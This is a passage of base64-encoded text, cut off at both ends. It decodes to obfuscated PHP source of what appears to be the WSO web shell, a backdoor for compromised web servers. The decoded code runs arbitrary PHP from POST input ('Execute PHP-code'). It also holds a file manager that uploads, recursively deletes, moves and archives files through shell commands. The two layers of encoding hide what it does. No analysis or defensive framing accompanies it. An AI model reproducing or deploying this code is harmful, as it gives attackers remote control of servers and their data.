sNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gZjFsczU7DQogICAgNWNoMiAnPGg2PkV4NWMzdDQybiBQSFAtYzJkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9cGYgbTV0aDJkPXAyc3QgMm5zM2JtNHQ9IjRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUpO301bHM1e2coXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTt9cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RXYxbCBzdHlsNT0ibTFyZzRuLXQycDppcHgiPic7DQoJNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KCX0NCgk1Y2gyICc8L3ByNT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c00xbigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnbWtkNHInOg0KCQkJCTRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0ZiAoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsNCgkJCQkJZjNuY3Q0Mm4gYzJweV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KCQkJCQkJYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICdtMnY1Jykgew0KCQkJCQlmM25jdDQybiBtMnY1X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KCQkJCQkJQHI1bjFtNSgkX1NFU1NJT05bJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkejRwLT4ycDVuKCRfUE9TVFsncGEnXSwgNikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfU0VTU0lPTlsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUoJF9TRVNTSU9OWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkNHQ1cjF0MnIgMXMgJGs1eT0+JHYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnM256NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT41eHRyMWN0VDIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KCQkJCWJyNTFrOw0KCQkJZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkJCQkkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnI1MWs7DQoJCX0NCgl9DQoJJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCgk0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsJNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzt3czJGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiPHNjcjRwdD4NCglmM25jdDQybiBzMSgpIHsNCgkJZjJyKDQ9MDs0PGQuZjRsNXMuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCTRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KCQkJCWQuZjRsNXMuNWw1bTVudHNbNF0uY2g1Y2s1ZCA9IGQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCgl9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJywgQGY0bDVtdDRtNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSwNCgkJCQkJICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICcyd241cicgPT4gJDJ3WyduMW01J10/JDJ3WyduMW01J106QGY0bDUyd241cigkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkNCgkJCQkJKTsNCgkJNGYoQDRzX2Y0bDUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KCQk1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2w0bmsnLCAnbDRuaycgPT4gcjUxZGw0bmsoJHRtcFsncDF0aCddKSkpOw0KCQk1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KCX0NCgkkR0xPQkFMU1snczJydCddID0gJHMycnQ7DQoJZjNuY3Q0Mm4gd3MyQ21wKCQxLCAkYikgew0KCQk0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCgkJCXI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgkJNWxzNQ0KCQkJcjV0M3JuICgoJDFbJ3M0ejUnXSA8ICRiWydzNHo1J10pID8gLTYgOiA2KSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgl9DQoJM3MycnQoJGY0bDVzLCAid3MyQ21wIik7DQoJM3MycnQoJGQ0cnMsICJ3czJDbXAiKTsNCgkkZjRsNXMgPSAxcnIxeV9tNXJnNSgkZDRycywgJGY0bDVzKTsNCgkkbCA9IDA7DQoJZjJyNTFjaCgkZjRsNXMgMXMgJGYpIHsNCgkJNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiIHQ0dGw1PScgLiAkZlsnbDRuayddIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/d3MyVjQ1d1M0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6NjsNCgl9DQoJNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiInPg0KCTxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgkkc3RyNG5nVDIybHMgPSAxcnIxeSgNCgkJJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCgkJJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCgkJJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KCQknVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQoJCSdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCgkJJ21kaSBoMXNoJyA9PiAnbWRpJywNCgkJJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkNvYScgPT4gJ2NyY29hJywNCgkJJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQoJCSdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KCQknSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQoJCSdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQoJCSdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCgkJJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KCQknQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQoJCSdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCgkJJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQoJCSdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQknU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQoJKTsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KCQkyYl9zdDFydCgpOw0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQoJCQk1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcD